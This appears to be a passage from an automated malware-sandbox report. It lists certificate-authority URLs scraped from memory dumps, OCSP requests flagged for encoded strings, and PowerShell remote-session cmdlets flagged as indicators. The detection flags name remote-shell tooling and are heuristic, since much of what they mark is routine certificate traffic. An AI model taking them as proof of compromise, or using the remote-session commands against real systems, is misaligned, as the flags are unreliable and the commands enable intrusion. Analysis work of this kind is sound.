Found URL "http://crl.verisign.com/pca3.crl00" - Source: "00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm6oov>4httpf" - Source: "00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found URL "http://appsyndication.org/2006/appsynapplicationupgradeexclusivetrueenclosuredigestalgorithmsha1sha256none%04hu-%02hu-%02hut%02hu:%02hu:%02huz%04hu-%02hu-%02hut%02hu:%02hu:%02hu%c%02u:%02uattributessoftware\classes\installer\dependencies\dependents%ls%ls\%ls\%ls%ls\%lskernel32.dllcv" - Source: "00000000-00007000.00000000.217481.00B8A000.00000002.mdmp") Found URL "http://crl.sectigo.com/sectigopublictimestampingrootr46.crl0" - Source: "00000000-00007000.00000000.217481.01190000.00000004.mdmp") Found URL "http://crt.sectigo.com/sectigopublictimestampingrootr46.p7c0" - Source: "00000000-00007000.00000000.217481.01190000.00000004.mdmp") Found URL "http://ocsp.sectigo.com0l-gtv[h_r9rc%59)$j+!cx" - Source: "00000000-00007000.00000000.217481.01190000.00000004.mdmp") Found URL "https://sectigo.com/cps0c0a0?9http://crl.sectigo.com/sectigopublictimestampingcar36.crl0zn0l0e9http://crt.sectigo.com/sectigopublictimestampingcar36.crt0" - Source: "00000000-00007000.00000000.217481.01190000.00000004.mdmp") Found URL "http://ocsp.sectigo.com061cjd4pxwv%q3qmi!'new" - Source: "00000000-00007000.00000000.217481.01190000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl05)0'0%http://ocsp.usertrust.com0avi&q_=&pduv\oz4" - Source: "00000000-00007000.00000000.217481.01190000.00000004.mdmp") Found URL "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c<0:082http://crl3.digicert.com/digicerttrustedrootg4.crl0:" - Source: "00000000-00007000.00000000.217481.01190000.00000004.mdmp") Found URL "http://www.digicert.com/cps0mhttp://crl3.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0smhttp://crl4.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0http://ocsp.digicert.com0\phttp://cacerts.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crt0" - Source: "00000000-00007000.00000000.217481.01190000.00000004.mdmp") Found URL "http://crl.sectigo.com/sectigopublictimestampingrootr46.crl0" - Source: "00000000-00007000.00000000.217481.04960000.00000004.mdmp") Found URL "http://crt.sectigo.com/sectigopublictimestampingrootr46.p7c0" - Source: "00000000-00007000.00000000.217481.04960000.00000004.mdmp") Found URL "http://ocsp.sectigo.com0l-gtv[h_r9rc%59)$j+!cx" - Source: "00000000-00007000.00000000.217481.04960000.00000004.mdmp") Found URL "https://sectigo.com/cps0c0a0?9http://crl.sectigo.com/sectigopublictimestampingcar36.crl0zn0l0e9http://crt.sectigo.com/sectigopublictimestampingcar36.crt0" - Source: "00000000-00007000.00000000.217481.04960000.00000004.mdmp") Found URL "http://ocsp.sectigo.com061cjd4pxwv%q3qmi!'new" - Source: "00000000-00007000.00000000.217481.04960000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl05)0'0%http://ocsp.usertrust.com0avi&q_=&pduv\oz4" - Source: "00000000-00007000.00000000.217481.04960000.00000004.mdmp") Found URL "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c<0:082http://crl3.digicert.com/digicerttrustedrootg4.crl0:" - Source: "00000000-00007000.00000000.217481.04960000.00000004.mdmp") Found URL "http://www.digicert.com/cps0mhttp://crl3.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0smhttp://crl4.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0http://ocsp.digicert.com0\phttp://cacerts.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crt0" - Source: "00000000-00007000.00000000.217481.04960000.00000004.mdmp") Found URL "https://)." - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://ocsp.digicert.comhttp://crl3.digicert.com/digicerttrustedrootg4.crlfilenamewidthcheckboxcontrol_actionorderingpropertybinarytitlelevelheightminvaluesequencecomboboxorderkeypathcontroldialogmaxvaluesourcefeatureeventargumenttargetdisplaykeytablenullablefeature_filenamedialog_sfactorybuffer1033valuecategorytablecolumnsfactorybuffersubcathe" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://ocsp.usertrust.comhttp://crl.usertrust.com/usertrustrsacertificationauthority.crlclick" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "https://sectigo.com/cps0c0a0?9http://crl.sectigo.com/sectigopublictimestampingcar36.crl0zn0l0e9http://crt.sectigo.com/sectigopublictimestampingcar36.crt0" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://ocsp.sectigo.com061cjd4pxwv%q3qmi!'=[;id" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://www.digicert.com/cps0mhttp://crl3.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0smhttp://crl4.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0http://ocsp.digicert.com0\phttp://cacerts.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crt0" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcs" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;digicert" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0=[9ze120531151137z0/^g(o-cejy" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm=[gme9ckx=z" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?washington1redmond1microsoft" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00007000.00000001.219402.01190000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn9iqmgvw,czcs" - Source: "00000000-00007000.00000002.221320.01190000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007000.00000002.221320.01190000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007000.00000002.221320.01190000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007000.00000002.221320.01190000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;digicert" - Source: "00000000-00007000.00000002.221320.01190000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007000.00000002.221320.01190000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007000.00000002.221320.01190000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007000.00000002.221320.01190000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007000.00000002.221320.01190000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007000.00000002.221320.01190000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007000.00000002.221320.01190000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007000.00000002.221320.01190000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0=[9ze120531151137z0/^g(o-cejy" - Source: "00000000-00007000.00000002.221320.01190000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00007000.00000002.221320.01190000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm=[gme9ckx=z" - Source: "00000000-00007000.00000002.221320.01190000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007000.00000002.221320.01190000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?washington1redmond1microsoft" - Source: "00000000-00007000.00000002.221320.01190000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00007000.00000002.221320.01190000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00007000.00000002.221320.01190000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00007000.00000002.221320.01190000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00007000.00000002.221320.01190000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00007000.00000002.221320.01190000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00007000.00000002.221320.01190000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn9iqmgvw,czcdigicert" - Source: "00000000-00007528.00000000.214677.3EA40000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007528.00000000.214677.3EA40000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007528.00000000.214677.3EA40000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007528.00000000.214677.3EA40000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;+>%ypuy$digi" - Source: "00000000-00007528.00000000.214677.3EA40000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007528.00000000.214677.3EA40000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007528.00000000.214677.3EA40000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007528.00000000.214677.3EA40000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00007528.00000000.214677.3EA40000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007528.00000000.214677.3EA40000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007528.00000000.214677.3EA40000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007528.00000000.214677.3EA40000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007528.00000000.214677.3EA40000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0" - Source: "00000000-00007528.00000000.214677.3EA40000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm6oov>4http" - Source: "00000000-00007528.00000000.214677.3EA40000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007528.00000000.214677.3EA40000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00007528.00000000.214677.3EA40000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00007528.00000000.214677.3EA40000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00007528.00000000.214677.3EA40000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00007528.00000000.214677.3EA40000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00007528.00000000.214677.3EA40000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00007528.00000000.214677.3EA40000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmax" - Source: "00000000-00007528.00000001.214880.246F0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm'x" - Source: "00000000-00007528.00000001.214880.246F0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?enew" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcdigicert" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;+>%ypuy$digi" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00007528.00000001.214880.3EA40000.00000004.mdmp")6c:T5ee,Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBQF5" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQF52yCFhiPtYYN0UQG0Zo%2BTDManQQU9ndq3T%2F9ARP%2FFqFsggIv0Ao9FCUCEHojrtpTaZYPkcg%2BXPTH4z8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/10.0Host: ocsp.sectigo.com" Contains base62 string in header "2FFqFsggIv0Ao9FCUCEHojrtpTaZYPkcg" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQF52yCFhiPtYYN0UQG0Zo%2BTDManQQU9ndq3T%2F9ARP%2FFqFsggIv0Ao9FCUCEHojrtpTaZYPkcg%2BXPTH4z8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/10.0Host: ocsp.sectigo.com" Contains base62 string in header "MFIwUDBOMEwwSjAJBgUrDgMCGgUABBROv" in header "GET /MFIwUDBOMEwwSjAJBgUrDgMCGgUABBROvXZLRR1VG0BH61zC6joTLyOBtQQUX1jtTDF6omFCjVKAurNhlxmiMpsCEQCkKTtuHt3XpzQIh616Trck HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/10.0Host: ocsp.sectigo.com" Contains base62 string in header "XZLRR1VG0BH61zC6joTLyOBtQQUX1jtTD" in header "GET /MFIwUDBOMEwwSjAJBgUrDgMCGgUABBROvXZLRR1VG0BH61zC6joTLyOBtQQUX1jtTDF6omFCjVKAurNhlxmiMpsCEQCkKTtuHt3XpzQIh616Trck HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/10.0Host: ocsp.sectigo.com" Contains base62 string in header "F6omFCjVKAurNhlxmiMpsCEQCkKTtuHt3" in header "GET /MFIwUDBOMEwwSjAJBgUrDgMCGgUABBROvXZLRR1VG0BH61zC6joTLyOBtQQUX1jtTDF6omFCjVKAurNhlxmiMpsCEQCkKTtuHt3XpzQIh616Trck HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/10.0Host: ocsp.sectigo.com"6d:Taaf,Found string "Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "New-PSSession" (Indicator: "New-PSSession"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Get-PSSession" (Indicator: "Get-PSSession"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Remove-PSSession" (Indicator: "Remove-PSSession"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Enter-PSSession" (Indicator: "Enter-PSSession"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Receive-PSSession" (Indicator: "Receive-PSSession"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Disable-PSSessionConfiguration" (Indicator: "Disable-PSSessionConfiguration"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Enable-PSSessionConfiguration" (Indicator: "Enable-PSSessionConfiguration"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Get-PSSessionCapability" (Indicator: "Get-PSSessionCapability"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "New-PSSessionOption" (Indicator: "New-PSSessionOption"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Register-PSSessionConfiguration" (Indicator: "Register-PSSessionConfiguration"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Set-PSSessionConfiguration" (Indicator: "Set-PSSessionConfiguration"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Test-PSSessionConfigurationFile" (Indicator: "Test-PSSessionConfigurationFile"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Unregister-PSSessionConfiguration" (Indicator: "Unregister-PSSessionConfiguration"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp")6e:T8ba,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 